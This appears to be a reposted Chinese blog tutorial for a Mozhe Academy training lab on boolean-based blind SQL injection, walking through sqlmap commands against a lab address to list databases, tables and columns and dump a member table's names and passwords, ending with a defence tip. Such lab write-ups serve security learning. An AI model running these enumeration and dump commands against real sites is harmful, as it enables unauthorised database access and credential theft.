当前位置: 首页 > news >正文

墨者:SQL注入漏洞测试(布尔盲注)

墨者学院:SQL注入漏洞测试(布尔盲注)🚀

1. 什么是布尔盲注?🔍

布尔盲注(Boolean-based Blind SQL Injection)是SQL注入的一种形式,攻击者通过构造逻辑判断条件(如AND 1=1OR 1=2),根据页面返回结果的差异(如内容变化、HTTP状态码)推断数据库信息。

作用:

  • 无显式错误回显时,通过布尔逻辑间接获取数据。
  • 适用于目标仅返回“真/假”两种状态的场景(例如登录验证)。

2. 工具:SQLMap🔧

SQLMap是一款自动化SQL注入工具,支持检测和利用多种注入类型(包括布尔盲注)。
核心功能

  • 自动识别注入点
  • 爆破数据库名、表名、字段名
  • 导出数据(如用户名密码)

3. 实验步骤(切换为自己的墨者靶场地址)🎯

步骤1:获取数据库名

python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" --dbs --batch
参数说明:
参数作用
-u指定目标URL
--dbs列出所有数据库名
--batch自动选择默认选项(非交互模式)

!图片链接待补充
在这里插入图片描述


步骤2:列出表名

python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup --tables --batch
参数说明:
参数作用
-D指定目标数据库
--tables列出该数据库的所有表

!图片链接待补充
在这里插入图片描述


步骤3:获取字段名

python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member --columns --batch
参数说明:
参数作用
-T指定目标表
--columns列出该表的所有字段

在这里插入图片描述
在这里插入图片描述


步骤4:导出数据

python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member -C name,password,status --dump --batch
参数说明:
参数作用
-C指定要导出的字段
--dump导出数据到本地文件

!图片链接待补充
在这里插入图片描述


步骤5:清除缓存

假如重新启动了靶场,端口会发生改变,往往需要清理缓存,不然password可能不会发生变化

python sqlmap.py --purge
参数说明:
参数作用
--purge删除所有扫描缓存文件

!图片链接待补充


4. 参数汇总表⭐

参数缩写作用
--url-u指定目标URL
--dbs-列出所有数据库
--tables-列出指定数据库的表
--columns-列出指定表的字段
--dump-导出数据
--batch-自动模式(无需手动确认)
--purge-清除缓存

5. 总结🏁

  1. 布尔盲注通过逻辑判断间接获取数据,适合无错误回显的场景。
  2. SQLMap可自动化完成从注入检测到数据导出的全流程。
  3. 关键参数:
    • -u:指定目标
    • -D/-T/-C:逐层定位数据
    • --dump:最终导出数据

防御建议:使用参数化查询+输入过滤,避免拼接SQL语句!


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/601909.html

相关文章:

  • 零基础,如何入手学习SAP?
  • Ashampoo Background Remover(照片去背景工具) v2.0.2 免费版
  • WSL切换网络模式
  • 持续优化Cypress自动化测试
  • CentOS 镜像源配置与 EOL 后的应对策略
  • MySQL进阶学习与初阶复习第四天
  • 【测试报告】思绪网(Java+Selenium+Jmeter自动化测试)
  • 自动出题与批改系统(数学题生成+OCR识别)
  • ABB机器人多任务详解
  • OpenLayers 综合案例-轨迹回放
  • java的break能加标签,return可以加标签吗
  • 83.删除排序链表中的重复元素
  • DeepCompare文件深度对比软件“.dpcp“工程项目文件功能深度解析
  • vector使用和模拟
  • 网络虚拟化:veth,bridge,network namespace与docker网络
  • ESP32学习-FreeRTOS队列使用指南与实战
  • 使用低级上位画图法理解在对磁盘空间进行容量分配时【低级单位上位至高级单位的换算】
  • Mybatis Plus 多数据源
  • AI时代,我们更需要自己的开发方式与平台
  • Coze Studio概览(一)
  • 链表算法常用技巧与操作
  • 通过硬编码函数地址并转换为函数指针来调用函数
  • 【Agentic】通过LangGrah实现RAG评分和重写
  • 清华大学具身智能多传感器融合感知综述:背景、方法、挑战与展望
  • Flutter开发实战之CI/CD与发布流程
  • 网易大模型算法岗面经80道
  • JSON格式化与结构对比
  • 移植pbrt中的并行化到ray trace in weeks中
  • LangGraph底层API入门总结
  • OpenLayers 综合案例-地图绘制